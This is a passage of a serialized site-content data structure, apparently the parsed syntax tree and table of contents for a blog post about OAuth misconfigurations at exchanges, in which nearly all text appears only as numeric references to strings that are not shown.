production.",{"type":24,"tag":5957,"props":105086,"children":105087},{},[105088],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":105090},[105091,105096,105101],{"id":102780,"depth":984,"text":102783,"children":105092},[105093,105094,105095],{"id":102791,"depth":993,"text":102794},{"id":103148,"depth":993,"text":103151},{"id":104706,"depth":993,"text":104709},{"id":104717,"depth":984,"text":104720,"children":105097},[105098,105099,105100],{"id":104781,"depth":993,"text":104784},{"id":104838,"depth":993,"text":103175},{"id":43421,"depth":993,"text":43424},{"id":5876,"depth":984,"text":5879},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":105106,"isFeatured":16,"onBlogPage":16,"tags":105107,"body":105108,"_type":5983,"_id":5984,"_source":5985,"_file":5986,"_stem":5987,"_extension":5988},{"src":13,"width":14,"height":15},[18,19],{"type":21,"children":105109,"toc":110240},[105110,105114,105123,105127,105131,105135,105139,105143,105147,105151,105155,105159,105182,105186,105190,105196,105200,105208,105212,105233,105237,105253,105257,105273,105281,105308,105335,105343,105353,105374,105384,105394,105430,105434,105462,105541,105557,105576,105580,105584,105606,105725,105729,105751,105755,105765,105774,105781,105809,105813,107175,107197,107212,107216,107226,107233,107237,107253,107274,107278,107282,107327,107331,107359,107387,108149,108177,108205,108262,108290,108754,108798,108808,109334,109392,109414,109995,110029,110051,110061,110113,110129,110157,110161,110165,110169,110173,110177,110206,110228,110232,110236],{"type":24,"tag":25,"props":105111,"children":105112},{"id":27},[105113],{"type":30,"value":31},{"type":24,"tag":33,"props":105115,"children":105116},{},[105117,105122],{"type":24,"tag":37,"props":105118,"children":105120},{"href":39,"rel":105119},[41],[105121],{"type":30,"value":19},{"type":30,"value":45},{"type":24,"tag":33,"props":105124,"children":105125},{},[105126],{"type":30,"value":50},{"type":24,"tag":33,"props":105128,"children":105129},{},[105130],{"type":30,"value":55},{"type":24,"tag":33,"props":105132,"children":105133},{},[105134],{"type":30,"value":60},{"type":24,"tag":25,"props":105136,"children":105137},{"id":63},[105138],{"type":30,"value":66},{"type":24,"tag":68,"props":105140,"children":105141},{"id":70},[105142],{"type":30,"value":73},{"type":24,"tag":33,"props":105144,"children":105145},{},[105146],{"type":30,"value":78},{"type":24,"tag":33,"props":105148,"children":105149},{},[105150],{"type":30,"value":83},{"type":24,"tag":68,"props":105152,"children":105153},{"id":86},[105154],{"type":30,"value":89},{"type":24,"tag":33,"props":105156,"children":105157},{},[105158],{"type":30,"value":94},{"type":24,"tag":96,"props":105160,"children":105161},{},[105162,105166,105170,105174,105178],{"type":24,"tag":100,"props":105163,"children":105164},{},[105165],{"type":30,"value":104},{"type":24,"tag":100,"props":105167,"children":105168},{},[105169],{"type":30,"value":109},{"type":24,"tag":100,"props":105171,"children":105172},{},[105173],{"type":30,"value":114},{"type":24,"tag":100,"props":105175,"children":105176},{},[105177],{"type":30,"value":119},{"type":24,"tag":100,"props":105179,"children":105180},{},[105181],{"type":30,"value":124},{"type":24,"tag":68,"props":105183,"children":105184},{"id":127},[105185],{"type":30,"value":130},{"type":24,"tag":33,"props":105187,"children":105188},{},[105189],{"type":30,"value":135},{"type":24,"tag":33,"props":105191,"children":105192},{},[105193],{"type":24,"tag":140,"props":105194,"children":105195},{"alt":142,"src":143},[],{"type":24,"tag":33,"props":105197,"children":105198},{},[105199],{"type":30,"value":149},{"type":24,"tag":151,"props":105201,"children":105202},{"id":153},[105203],{"type":24,"tag":156,"props":105204,"children":105206},{"className":105205},[],[105207],{"type":30,"value":161},{"type":24,"tag":33,"props":105209,"children":105210},{},[105211],{"type":30,"value":166},{"type":24,"tag":96,"props":105213,"children":105214},{},[105215,105219,105223],{"type":24,"tag":100,"props":105216,"children":105217},{},[105218],{"type":30,"value":174},{"type":24,"tag":100,"props":105220,"children":105221},{},[105222],{"type":30,"value":179},{"type":24,"tag":100,"props":105224,"children":105225},{},[105226,105227,105232],{"type":30,"value":184},{"type":24,"tag":156,"props":105228,"children":105230},{"className":105229},[],[105231],{"type":30,"value":190},{"type":30,"value":192},{"type":24,"tag":151,"props":105234,"children":105235},{"id":195},[105236],{"type":30,"value":198},{"type":24,"tag":33,"props":105238,"children":105239},{},[105240,105241,105246,105247,105252],{"type":30,"value":203},{"type":24,"tag":156,"props":105242,"children":105244},{"className":105243},[],[105245],{"type":30,"value":209},{"type":30,"value":211},{"type":24,"tag":156,"props":105248,"children":105250},{"className":105249},[],[105251],{"type":30,"value":217},{"type":30,"value":219},{"type":24,"tag":151,"props":105254,"children":105255},{"id":222},[105256],{"type":30,"value":225},{"type":24,"tag":33,"props":105258,"children":105259},{},[105260,105261,105266,105267,105272],{"type":30,"value":230},{"type":24,"tag":156,"props":105262,"children":105264},{"className":105263},[],[105265],{"type":30,"value":190},{"type":30,"value":237},{"type":24,"tag":156,"props":105268,"children":105270},{"className":105269},[],[105271],{"type":30,"value":243},{"type":30,"value":245},{"type":24,"tag":151,"props":105274,"children":105275},{"id":248},[105276],{"type":24,"tag":156,"props":105277,"children":105279},{"className":105278},[],[105280],{"type":30,"value":243},{"type":24,"tag":33,"props":105282,"children":105283},{},[105284,105285,105290,105291,105296,105297,105301,105302,105307],{"type":30,"value":259},{"type":24,"tag":156,"props":105286,"children":105288},{"className":105287},[],[105289],{"type":30,"value":243},{"type":30,"value":266},{"type":24,"tag":156,"props":105292,"children":105294},{"className":105293},[],[105295],{"type":30,"value":190},{"type":30,"value":273},{"type":24,"tag":275,"props":105298,"children":105299},{},[105300],{"type":30,"value":225},{"type":30,"value":280},{"type":24,"tag":156,"props":105303,"children":105305},{"className":105304},[],[105306],{"type":30,"value":243},{"type":30,"value":287},{"type":24,"tag":33,"props":105309,"children":105310},{},[105311,105312,105317,105318,105322,105323,105328,105329,105334],{"type":30,"value":292},{"type":24,"tag":156,"props":105313,"children":105315},{"className":105314},[],[105316],{"type":30,"value":243},{"type":30,"value":299},{"type":24,"tag":275,"props":105319,"children":105320},{},[105321],{"type":30,"value":225},{"type":30,"value":305},{"type":24,"tag":156,"props":105324,"children":105326},{"className":105325},[],[105327],{"type":30,"value":243},{"type":30,"value":312},{"type":24,"tag":156,"props":105330,"children":105332},{"className":105331},[],[105333],{"type":30,"value":318},{"type":30,"value":320},{"type":24,"tag":151,"props":105336,"children":105337},{"id":318},[105338],{"type":24,"tag":156,"props":105339,"children":105341},{"className":105340},[],[105342],{"type":30,"value":329},{"type":24,"tag":33,"props":105344,"children":105345},{},[105346,105347,105352],{"type":30,"value":334},{"type":24,"tag":156,"props":105348,"children":105350},{"className":105349},[],[105351],{"type":30,"value":318},{"type":30,"value":341},{"type":24,"tag":96,"props":105354,"children":105355},{},[105356,105365],{"type":24,"tag":100,"props":105357,"children":105358},{},[105359,105364],{"type":24,"tag":156,"props":105360,"children":105362},{"className":105361},[],[105363],{"type":30,"value":353},{"type":30,"value":355},{"type":24,"tag":100,"props":105366,"children":105367},{},[105368,105373],{"type":24,"tag":156,"props":105369,"children":105371},{"className":105370},[],[105372],{"type":30,"value":364},{"type":30,"value":366},{"type":24,"tag":33,"props":105375,"children":105376},{},[105377,105378,105383],{"type":30,"value":371},{"type":24,"tag":156,"props":105379,"children":105381},{"className":105380},[],[105382],{"type":30,"value":318},{"type":30,"value":378},{"type":24,"tag":68,"props":105385,"children":105386},{"id":381},[105387,105388,105393],{"type":30,"value":384},{"type":24,"tag":156,"props":105389,"children":105391},{"className":105390},[],[105392],{"type":30,"value":243},{"type":30,"value":391},{"type":24,"tag":33,"props":105395,"children":105396},{},[105397,105398,105403,105404,105409,105410,105419,105420,105424,105425,105429],{"type":30,"value":396},{"type":24,"tag":156,"props":105399,"children":105401},{"className":105400},[],[105402],{"type":30,"value":190},{"type":30,"value":403},{"type":24,"tag":156,"props":105405,"children":105407},{"className":105406},[],[105408],{"type":30,"value":243},{"type":30,"value":410},{"type":24,"tag":37,"props":105411,"children":105413},{"href":413,"rel":105412},[41],[105414],{"type":24,"tag":156,"props":105415,"children":105417},{"className":105416},[],[105418],{"type":30,"value":421},{"type":30,"value":423},{"type":24,"tag":275,"props":105421,"children":105422},{},[105423],{"type":30,"value":428},{"type":30,"value":211},{"type":24,"tag":275,"props":105426,"children":105427},{},[105428],{"type":30,"value":434},{"type":30,"value":436},{"type":24,"tag":151,"props":105431,"children":105432},{"id":439},[105433],{"type":30,"value":442},{"type":24,"tag":33,"props":105435,"children":105436},{},[105437,105438,105443,105444,105449,105450,105455,105456,105461],{"type":30,"value":447},{"type":24,"tag":156,"props":105439,"children":105441},{"className":105440},[],[105442],{"type":30,"value":243},{"type":30,"value":454},{"type":24,"tag":156,"props":105445,"children":105447},{"className":105446},[],[105448],{"type":30,"value":460},{"type":30,"value":462},{"type":24,"tag":156,"props":105451,"children":105453},{"className":105452},[],[105454],{"type":30,"value":468},{"type":30,"value":280},{"type":24,"tag":156,"props":105457,"children":105459},{"className":105458},[],[105460],{"type":30,"value":243},{"type":30,"value":476},{"type":24,"tag":478,"props":105463,"children":105464},{},[105465,105479,105494,105510,105519],{"type":24,"tag":100,"props":105466,"children":105467},{},[105468,105473,105474],{"type":24,"tag":37,"props":105469,"children":105471},{"href":486,"rel":105470},[41],[105472],{"type":30,"value":490},{"type":30,"value":492},{"type":24,"tag":156,"props":105475,"children":105477},{"className":105476},[],[105478],{"type":30,"value":498},{"type":24,"tag":100,"props":105480,"children":105481},{},[105482,105487,105488,105493],{"type":24,"tag":37,"props":105483,"children":105485},{"href":504,"rel":105484},[41],[105486],{"type":30,"value":508},{"type":30,"value":510},{"type":24,"tag":156,"props":105489,"children":105491},{"className":105490},[],[105492],{"type":30,"value":209},{"type":30,"value":517},{"type":24,"tag":100,"props":105495,"children":105496},{},[105497,105498,105503,105504,105509],{"type":30,"value":522},{"type":24,"tag":37,"props":105499,"children":105501},{"href":525,"rel":105500},[41],[105502],{"type":30,"value":529},{"type":30,"value":531},{"type":24,"tag":156,"props":105505,"children":105507},{"className":105506},[],[105508],{"type":30,"value":243},{"type":30,"value":538},{"type":24,"tag":100,"props":105511,"children":105512},{},[105513,105518],{"type":24,"tag":37,"props":105514,"children":105516},{"href":544,"rel":105515},[41],[105517],{"type":30,"value":548},{"type":30,"value":550},{"type":24,"tag":100,"props":105520,"children":105521},{},[105522,105523,105528,105529,105534,105535,105540],{"type":30,"value":555},{"type":24,"tag":37,"props":105524,"children":105526},{"href":558,"rel":105525},[41],[105527],{"type":30,"value":529},{"type":30,"value":563},{"type":24,"tag":37,"props":105530,"children":105532},{"href":566,"rel":105531},[41],[105533],{"type":30,"value":570},{"type":30,"value":510},{"type":24,"tag":156,"props":105536,"children":105538},{"className":105537},[],[105539],{"type":30,"value":353},{"type":30,"value":578},{"type":24,"tag":33,"props":105542,"children":105543},{},[105544,105545,105550,105551,105556],{"type":30,"value":583},{"type":24,"tag":156,"props":105546,"children":105548},{"className":105547},[],[105549],{"type":30,"value":243},{"type":30,"value":590},{"type":24,"tag":156,"props":105552,"children":105554},{"className":105553},[],[105555],{"type":30,"value":161},{"type":30,"value":597},{"type":24,"tag":96,"props":105558,"children":105559},{},[105560,105564,105568,105572],{"type":24,"tag":100,"props":105561,"children":105562},{},[105563],{"type":30,"value":605},{"type":24,"tag":100,"props":105565,"children":105566},{},[105567],{"type":30,"value":610},{"type":24,"tag":100,"props":105569,"children":105570},{},[105571],{"type":30,"value":615},{"type":24,"tag":100,"props":105573,"children":105574},{},[105575],{"type":30,"value":620},{"type":24,"tag":33,"props":105577,"children":105578},{},[105579],{"type":30,"value":625},{"type":24,"tag":151,"props":105581,"children":105582},{"id":628},[105583],{"type":30,"value":631},{"type":24,"tag":33,"props":105585,"children":105586},{},[105587,105588,105593,105594,105599,105600,105605],{"type":30,"value":636},{"type":24,"tag":156,"props":105589,"children":105591},{"className":105590},[],[105592],{"type":30,"value":243},{"type":30,"value":643},{"type":24,"tag":37,"props":105595,"children":105597},{"href":646,"rel":105596},[41],[105598],{"type":30,"value":650},{"type":30,"value":652},{"type":24,"tag":156,"props":105601,"children":105603},{"className":105602},[],[105604],{"type":30,"value":161},{"type":30,"value":659},{"type":24,"tag":478,"props":105607,"children":105608},{},[105609,105657,105694],{"type":24,"tag":100,"props":105610,"children":105611},{},[105612,105613,105618,105619,105624,105625,105630,105631],{"type":30,"value":259},{"type":24,"tag":156,"props":105614,"children":105616},{"className":105615},[],[105617],{"type":30,"value":243},{"type":30,"value":673},{"type":24,"tag":37,"props":105620,"children":105622},{"href":676,"rel":105621},[41],[105623],{"type":30,"value":570},{"type":30,"value":681},{"type":24,"tag":156,"props":105626,"children":105628},{"className":105627},[],[105629],{"type":30,"value":687},{"type":30,"value":689},{"type":24,"tag":96,"props":105632,"children":105633},{},[105634,105643,105647],{"type":24,"tag":100,"props":105635,"children":105636},{},[105637,105642],{"type":24,"tag":37,"props":105638,"children":105640},{"href":698,"rel":105639},[41],[105641],{"type":30,"value":702},{"type":30,"value":704},{"type":24,"tag":100,"props":105644,"children":105645},{},[105646],{"type":30,"value":709},{"type":24,"tag":100,"props":105648,"children":105649},{},[105650,105651,105656],{"type":30,"value":714},{"type":24,"tag":37,"props":105652,"children":105654},{"href":717,"rel":105653},[41],[105655],{"type":30,"value":721},{"type":30,"value":723},{"type":24,"tag":100,"props":105658,"children":105659},{},[105660,105661,105666,105667,105672,105673,105678,105679],{"type":30,"value":728},{"type":24,"tag":156,"props":105662,"children":105664},{"className":105663},[],[105665],{"type":30,"value":734},{"type":30,"value":736},{"type":24,"tag":37,"props":105668,"children":105670},{"href":739,"rel":105669},[41],[105671],{"type":30,"value":570},{"type":30,"value":510},{"type":24,"tag":156,"props":105674,"children":105676},{"className":105675},[],[105677],{"type":30,"value":749},{"type":30,"value":751},{"type":24,"tag":96,"props":105680,"children":105681},{},[105682,105686,105690],{"type":24,"tag":100,"props":105683,"children":105684},{},[105685],{"type":30,"value":759},{"type":24,"tag":100,"props":105687,"children":105688},{},[105689],{"type":30,"value":764},{"type":24,"tag":100,"props":105691,"children":105692},{},[105693],{"type":30,"value":769},{"type":24,"tag":100,"props":105695,"children":105696},{},[105697,105698,105703,105704,105709,105710],{"type":30,"value":774},{"type":24,"tag":156,"props":105699,"children":105701},{"className":105700},[],[105702],{"type":30,"value":243},{"type":30,"value":510},{"type":24,"tag":37,"props":105705,"children":105707},{"href":783,"rel":105706},[41],[105708],{"type":30,"value":787},{"type":30,"value":789},{"type":24,"tag":96,"props":105711,"children":105712},{},[105713,105717,105721],{"type":24,"tag":100,"props":105714,"children":105715},{},[105716],{"type":30,"value":797},{"type":24,"tag":100,"props":105718,"children":105719},{},[105720],{"type":30,"value":802},{"type":24,"tag":100,"props":105722,"children":105723},{},[105724],{"type":30,"value":807},{"type":24,"tag":33,"props":105726,"children":105727},{},[105728],{"type":30,"value":812},{"type":24,"tag":33,"props":105730,"children":105731},{},[105732,105733,105738,105739,105744,105745,105750],{"type":30,"value":817},{"type":24,"tag":156,"props":105734,"children":105736},{"className":105735},[],[105737],{"type":30,"value":243},{"type":30,"value":824},{"type":24,"tag":156,"props":105740,"children":105742},{"className":105741},[],[105743],{"type":30,"value":830},{"type":30,"value":832},{"type":24,"tag":156,"props":105746,"children":105748},{"className":105747},[],[105749],{"type":30,"value":243},{"type":30,"value":839},{"type":24,"tag":25,"props":105752,"children":105753},{"id":842},[105754],{"type":30,"value":845},{"type":24,"tag":33,"props":105756,"children":105757},{},[105758,105759,105764],{"type":30,"value":850},{"type":24,"tag":156,"props":105760,"children":105762},{"className":105761},[],[105763],{"type":30,"value":243},{"type":30,"value":857},{"type":24,"tag":33,"props":105766,"children":105767},{},[105768,105769,105773],{"type":30,"value":862},{"type":24,"tag":275,"props":105770,"children":105771},{},[105772],{"type":30,"value":867},{"type":30,"value":869},{"type":24,"tag":68,"props":105775,"children":105776},{"id":872},[105777],{"type":24,"tag":275,"props":105778,"children":105779},{},[105780],{"type":30,"value":878},{"type":24,"tag":33,"props":105782,"children":105783},{},[105784,105785,105790,105791,105796,105797,105802,105803,105808],{"type":30,"value":883},{"type":24,"tag":156,"props":105786,"children":105788},{"className":105787},[],[105789],{"type":30,"value":243},{"type":30,"value":890},{"type":24,"tag":156,"props":105792,"children":105794},{"className":105793},[],[105795],{"type":30,"value":161},{"type":30,"value":897},{"type":24,"tag":156,"props":105798,"children":105800},{"className":105799},[],[105801],{"type":30,"value":243},{"type":30,"value":904},{"type":24,"tag":37,"props":105804,"children":105806},{"href":907,"rel":105805},[41],[105807],{"type":30,"value":911},{"type":30,"value":913},{"type":24,"tag":33,"props":105810,"children":105811},{},[105812],{"type":30,"value":918},{"type":24,"tag":920,"props":105814,"children":105815},{"className":922,"code":923,"language":924,"meta":7,"style":7},[105816],{"type":24,"tag":156,"props":105817,"children":105818},{"__ignoreMap":7},[105819,105858,105865,105916,105923,105930,105969,105976,105987,106006,106025,106052,106099,106126,106145,106180,106215,106230,106265,106288,106303,106342,106361,106376,106391,106398,106405,106428,106443,106474,106501,106512,106555,106562,106569,106576,106639,106646,106653,106660,106671,106690,106709,106768,106787,106818,106833,106868,106875,106910,106933,106952,106959,106982,107009,107016,107023,107062,107069,107076,107099,107114,107121,107128,107143,107154,107161,107168],{"type":24,"tag":930,"props":105820,"children":105821},{"class":932,"line":933},[105822,105826,105830,105834,105838,105842,105846,105850,105854],{"type":24,"tag":930,"props":105823,"children":105824},{"style":937},[105825],{"type":30,"value":940},{"type":24,"tag":930,"props":105827,"children":105828},{"style":943},[105829],{"type":30,"value":946},{"type":24,"tag":930,"props":105831,"children":105832},{"style":937},[105833],{"type":30,"value":951},{"type":24,"tag":930,"props":105835,"children":105836},{"style":943},[105837],{"type":30,"value":956},{"type":24,"tag":930,"props":105839,"children":105840},{"style":959},[105841],{"type":30,"value":962},{"type":24,"tag":930,"props":105843,"children":105844},{"style":943},[105845],{"type":30,"value":967},{"type":24,"tag":930,"props":105847,"children":105848},{"style":959},[105849],{"type":30,"value":962},{"type":24,"tag":930,"props":105851,"children":105852},{"style":943},[105853],{"type":30,"value":976},{"type":24,"tag":930,"props":105855,"children":105856},{"style":959},[105857],{"type":30,"value":981},{"type":24,"tag":930,"props":105859,"children":105860},{"class":932,"line":984},[105861],{"type":24,"tag":930,"props":105862,"children":105863},{"style":959},[105864],{"type":30,"value":990},{"type":24,"tag":930,"props":105866,"children":105867},{"class":932,"line":993},[105868,105872,105876,105880,105884,105888,105892,105896,105900,105904,105908,105912],{"type":24,"tag":930,"props":105869,"children":105870},{"style":937},[105871],{"type":30,"value":999},{"type":24,"tag":930,"props":105873,"children":105874},{"style":1002},[105875],{"type":30,"value":1005},{"type":24,"tag":930,"props":105877,"children":105878},{"style":959},[105879],{"type":30,"value":1010},{"type":24,"tag":930,"props":105881,"children":105882},{"style":937},[105883],{"type":30,"value":1015},{"type":24,"tag":930,"props":105885,"children":105886},{"style":937},[105887],{"type":30,"value":1020},{"type":24,"tag":930,"props":105889,"children":105890},{"style":1023},[105891],{"type":30,"value":1026},{"type":24,"tag":930,"props":105893,"children":105894},{"style":959},[105895],{"type":30,"value":962},{"type":24,"tag":930,"props":105897,"children":105898},{"style":943},[105899],{"type":30,"value":1035},{"type":24,"tag":930,"props":105901,"children":105902},{"style":959},[105903],{"type":30,"value":962},{"type":24,"tag":930,"props":105905,"children":105906},{"style":943},[105907],{"type":30,"value":1044},{"type":24,"tag":930,"props":105909,"children":105910},{"style":1023},[105911],{"type":30,"value":1049},{"type":24,"tag":930,"props":105913,"children":105914},{"style":959},[105915],{"type":30,"value":1054},{"type":24,"tag":930,"props":105917,"children":105918},{"class":932,"line":1057},[105919],{"type":24,"tag":930,"props":105920,"children":105921},{"style":937},[105922],{"type":30,"value":1063},{"type":24,"tag":930,"props":105924,"children":105925},{"class":932,"line":1066},[105926],{"type":24,"tag":930,"props":105927,"children":105928},{"style":937},[105929],{"type":30,"value":1072},{"type":24,"tag":930,"props":105931,"children":105932},{"class":932,"line":1075},[105933,105937,105941,105945,105949,105953,105957,105961,105965],{"type":24,"tag":930,"props":105934,"children":105935},{"style":1079},[105936],{"type":30,"value":1082},{"type":24,"tag":930,"props":105938,"children":105939},{"style":959},[105940],{"type":30,"value":1087},{"type":24,"tag":930,"props":105942,"children":105943},{"style":943},[105944],{"type":30,"value":1092},{"type":24,"tag":930,"props":105946,"children":105947},{"style":937},[105948],{"type":30,"value":1097},{"type":24,"tag":930,"props":105950,"children":105951},{"style":1023},[105952],{"type":30,"value":1102},{"type":24,"tag":930,"props":105954,"children":105955},{"style":959},[105956],{"type":30,"value":962},{"type":24,"tag":930,"props":105958,"children":105959},{"style":943},[105960],{"type":30,"value":1044},{"type":24,"tag":930,"props":105962,"children":105963},{"style":1023},[105964],{"type":30,"value":1115},{"type":24,"tag":930,"props":105966,"children":105967},{"style":959},[105968],{"type":30,"value":1054},{"type":24,"tag":930,"props":105970,"children":105971},{"class":932,"line":1122},[105972],{"type":24,"tag":930,"props":105973,"children":105974},{"style":959},[105975],{"type":30,"value":1128},{"type":24,"tag":930,"props":105977,"children":105978},{"class":932,"line":1131},[105979,105983],{"type":24,"tag":930,"props":105980,"children":105981},{"style":1079},[105982],{"type":30,"value":1137},{"type":24,"tag":930,"props":105984,"children":105985},{"style":959},[105986],{"type":30,"value":981},{"type":24,"tag":930,"props":105988,"children":105989},{"class":932,"line":1144},[105990,105994,105998,106002],{"type":24,"tag":930,"props":105991,"children":105992},{"style":943},[105993],{"type":30,"value":1150},{"type":24,"tag":930,"props":105995,"children":105996},{"style":959},[105997],{"type":30,"value":1155},{"type":24,"tag":930,"props":105999,"children":106000},{"style":1158},[106001],{"type":30,"value":1161},{"type":24,"tag":930,"props":106003,"children":106004},{"style":959},[106005],{"type":30,"value":1166},{"type":24,"tag":930,"props":106007,"children":106008},{"class":932,"line":1169},[106009,106013,106017,106021],{"type":24,"tag":930,"props":106010,"children":106011},{"style":943},[106012],{"type":30,"value":1150},{"type":24,"tag":930,"props":106014,"children":106015},{"style":959},[106016],{"type":30,"value":1179},{"type":24,"tag":930,"props":106018,"children":106019},{"style":1158},[106020],{"type":30,"value":1161},{"type":24,"tag":930,"props":106022,"children":106023},{"style":959},[106024],{"type":30,"value":1188},{"type":24,"tag":930,"props":106026,"children":106027},{"class":932,"line":1191},[106028,106032,106036,106040,106044,106048],{"type":24,"tag":930,"props":106029,"children":106030},{"style":943},[106031],{"type":30,"value":1150},{"type":24,"tag":930,"props":106033,"children":106034},{"style":959},[106035],{"type":30,"value":1201},{"type":24,"tag":930,"props":106037,"children":106038},{"style":1158},[106039],{"type":30,"value":1161},{"type":24,"tag":930,"props":106041,"children":106042},{"style":959},[106043],{"type":30,"value":1210},{"type":24,"tag":930,"props":106045,"children":106046},{"style":1158},[106047],{"type":30,"value":1215},{"type":24,"tag":930,"props":106049,"children":106050},{"style":959},[106051],{"type":30,"value":1220},{"type":24,"tag":930,"props":106053,"children":106054},{"class":932,"line":1223},[106055,106059,106063,106067,106071,106075,106079,106083,106087,106091,106095],{"type":24,"tag":930,"props":106056,"children":106057},{"style":1079},[106058],{"type":30,"value":1229},{"type":24,"tag":930,"props":106060,"children":106061},{"style":959},[106062],{"type":30,"value":1234},{"type":24,"tag":930,"props":106064,"children":106065},{"style":1158},[106066],{"type":30,"value":1239},{"type":24,"tag":930,"props":106068,"children":106069},{"style":1242},[106070],{"type":30,"value":1245},{"type":24,"tag":930,"props":106072,"children":106073},{"style":1158},[106074],{"type":30,"value":1250},{"type":24,"tag":930,"props":106076,"children":106077},{"style":959},[106078],{"type":30,"value":1201},{"type":24,"tag":930,"props":106080,"children":106081},{"style":1158},[106082],{"type":30,"value":1239},{"type":24,"tag":930,"props":106084,"children":106085},{"style":1242},[106086],{"type":30,"value":1263},{"type":24,"tag":930,"props":106088,"children":106089},{"style":959},[106090],{"type":30,"value":962},{"type":24,"tag":930,"props":106092,"children":106093},{"style":1270},[106094],{"type":30,"value":1273},{"type":24,"tag":930,"props":106096,"children":106097},{"style":959},[106098],{"type":30,"value":1278},{"type":24,"tag":930,"props":106100,"children":106101},{"class":932,"line":1281},[106102,106106,106110,106114,106118,106122],{"type":24,"tag":930,"props":106103,"children":106104},{"style":943},[106105],{"type":30,"value":1150},{"type":24,"tag":930,"props":106107,"children":106108},{"style":959},[106109],{"type":30,"value":1291},{"type":24,"tag":930,"props":106111,"children":106112},{"style":1158},[106113],{"type":30,"value":1161},{"type":24,"tag":930,"props":106115,"children":106116},{"style":959},[106117],{"type":30,"value":1300},{"type":24,"tag":930,"props":106119,"children":106120},{"style":1002},[106121],{"type":30,"value":1305},{"type":24,"tag":930,"props":106123,"children":106124},{"style":959},[106125],{"type":30,"value":1310},{"type":24,"tag":930,"props":106127,"children":106128},{"class":932,"line":1313},[106129,106133,106137,106141],{"type":24,"tag":930,"props":106130,"children":106131},{"style":943},[106132],{"type":30,"value":1150},{"type":24,"tag":930,"props":106134,"children":106135},{"style":959},[106136],{"type":30,"value":1323},{"type":24,"tag":930,"props":106138,"children":106139},{"style":1158},[106140],{"type":30,"value":1161},{"type":24,"tag":930,"props":106142,"children":106143},{"style":959},[106144],{"type":30,"value":1332},{"type":24,"tag":930,"props":106146,"children":106147},{"class":932,"line":1335},[106148,106152,106156,106160,106164,106168,106172,106176],{"type":24,"tag":930,"props":106149,"children":106150},{"style":1079},[106151],{"type":30,"value":1229},{"type":24,"tag":930,"props":106153,"children":106154},{"style":959},[106155],{"type":30,"value":1345},{"type":24,"tag":930,"props":106157,"children":106158},{"style":1158},[106159],{"type":30,"value":1350},{"type":24,"tag":930,"props":106161,"children":106162},{"style":959},[106163],{"type":30,"value":1300},{"type":24,"tag":930,"props":106165,"children":106166},{"style":1002},[106167],{"type":30,"value":1359},{"type":24,"tag":930,"props":106169,"children":106170},{"style":959},[106171],{"type":30,"value":1364},{"type":24,"tag":930,"props":106173,"children":106174},{"style":1270},[106175],{"type":30,"value":1369},{"type":24,"tag":930,"props":106177,"children":106178},{"style":959},[106179],{"type":30,"value":1278},{"type":24,"tag":930,"props":106181,"children":106182},{"class":932,"line":1376},[106183,106187,106191,106195,106199,106203,106207,106211],{"type":24,"tag":930,"props":106184,"children":106185},{"style":943},[106186],{"type":30,"value":1150},{"type":24,"tag":930,"props":106188,"children":106189},{"style":959},[106190],{"type":30,"value":1386},{"type":24,"tag":930,"props":106192,"children":106193},{"style":1158},[106194],{"type":30,"value":1161},{"type":24,"tag":930,"props":106196,"children":106197},{"style":959},[106198],{"type":30,"value":1395},{"type":24,"tag":930,"props":106200,"children":106201},{"style":1158},[106202],{"type":30,"value":1400},{"type":24,"tag":930,"props":106204,"children":106205},{"style":959},[106206],{"type":30,"value":1405},{"type":24,"tag":930,"props":106208,"children":106209},{"style":1158},[106210],{"type":30,"value":1410},{"type":24,"tag":930,"props":106212,"children":106213},{"style":959},[106214],{"type":30,"value":1415},{"type":24,"tag":930,"props":106216,"children":106217},{"class":932,"line":1418},[106218,106222,106226],{"type":24,"tag":930,"props":106219,"children":106220},{"style":1422},[106221],{"type":30,"value":1425},{"type":24,"tag":930,"props":106223,"children":106224},{"style":937},[106225],{"type":30,"value":1430},{"type":24,"tag":930,"props":106227,"children":106228},{"style":1422},[106229],{"type":30,"value":1435},{"type":24,"tag":930,"props":106231,"children":106232},{"class":932,"line":1438},[106233,106237,106241,106245,106249,106253,106257,106261],{"type":24,"tag":930,"props":106234,"children":106235},{"style":943},[106236],{"type":30,"value":1150},{"type":24,"tag":930,"props":106238,"children":106239},{"style":959},[106240],{"type":30,"value":1448},{"type":24,"tag":930,"props":106242,"children":106243},{"style":1158},[106244],{"type":30,"value":1161},{"type":24,"tag":930,"props":106246,"children":106247},{"style":959},[106248],{"type":30,"value":1457},{"type":24,"tag":930,"props":106250,"children":106251},{"style":1158},[106252],{"type":30,"value":1410},{"type":24,"tag":930,"props":106254,"children":106255},{"style":959},[106256],{"type":30,"value":1466},{"type":24,"tag":930,"props":106258,"children":106259},{"style":1158},[106260],{"type":30,"value":1471},{"type":24,"tag":930,"props":106262,"children":106263},{"style":959},[106264],{"type":30,"value":1476},{"type":24,"tag":930,"props":106266,"children":106267},{"class":932,"line":1479},[106268,106272,106276,106280,106284],{"type":24,"tag":930,"props":106269,"children":106270},{"style":1079},[106271],{"type":30,"value":1485},{"type":24,"tag":930,"props":106273,"children":106274},{"style":959},[106275],{"type":30,"value":1490},{"type":24,"tag":930,"props":106277,"children":106278},{"style":1158},[106279],{"type":30,"value":1239},{"type":24,"tag":930,"props":106281,"children":106282},{"style":1242},[106283],{"type":30,"value":1263},{"type":24,"tag":930,"props":106285,"children":106286},{"style":959},[106287],{"type":30,"value":1503},{"type":24,"tag":930,"props":106289,"children":106290},{"class":932,"line":1506},[106291,106295,106299],{"type":24,"tag":930,"props":106292,"children":106293},{"style":943},[106294],{"type":30,"value":1512},{"type":24,"tag":930,"props":106296,"children":106297},{"style":959},[106298],{"type":30,"value":1517},{"type":24,"tag":930,"props":106300,"children":106301},{"style":1158},[106302],{"type":30,"value":1522},{"type":24,"tag":930,"props":106304,"children":106305},{"class":932,"line":1525},[106306,106310,106314,106318,106322,106326,106330,106334,106338],{"type":24,"tag":930,"props":106307,"children":106308},{"style":943},[106309],{"type":30,"value":1531},{"type":24,"tag":930,"props":106311,"children":106312},{"style":959},[106313],{"type":30,"value":1010},{"type":24,"tag":930,"props":106315,"children":106316},{"style":943},[106317],{"type":30,"value":1035},{"type":24,"tag":930,"props":106319,"children":106320},{"style":959},[106321],{"type":30,"value":1544},{"type":24,"tag":930,"props":106323,"children":106324},{"